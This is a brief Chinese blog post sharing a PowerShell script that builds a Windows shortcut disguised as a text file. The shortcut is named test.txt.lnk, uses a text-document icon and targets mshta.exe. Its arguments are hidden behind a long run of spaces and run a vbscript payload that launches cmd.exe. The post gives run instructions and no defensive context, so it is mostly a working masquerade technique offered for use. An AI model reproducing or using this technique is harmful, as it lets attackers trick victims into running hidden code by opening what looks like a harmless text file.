lnk的一个玩法。

发布于 / 编程,分享 / 0条评论 / Tags: PowerShell,lnk,快捷方式 / 86 次浏览

$Shell = New-Object -ComObject WScript.Shell
$Dir = Split-Path -Parent $MyInvocation.MyCommand.Definition
$Shortcut = $Shell.CreateShortcut("$Dir\test.txt.lnk")
$Shortcut.TargetPath = "%Windir%\System32\mshta.exe"
$Shortcut.IconLocation = "shell32.dll,70"
$Shortcut.Arguments ='                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               vbscript:CreateObject("WScript.Shell").Run("cmd.exe",5)(window.close)'

$Shortcut.Save()



保存为.ps1然后用PowerShell运行

生成一个test.lnk 图标样式为txt

    评论区(暂无评论)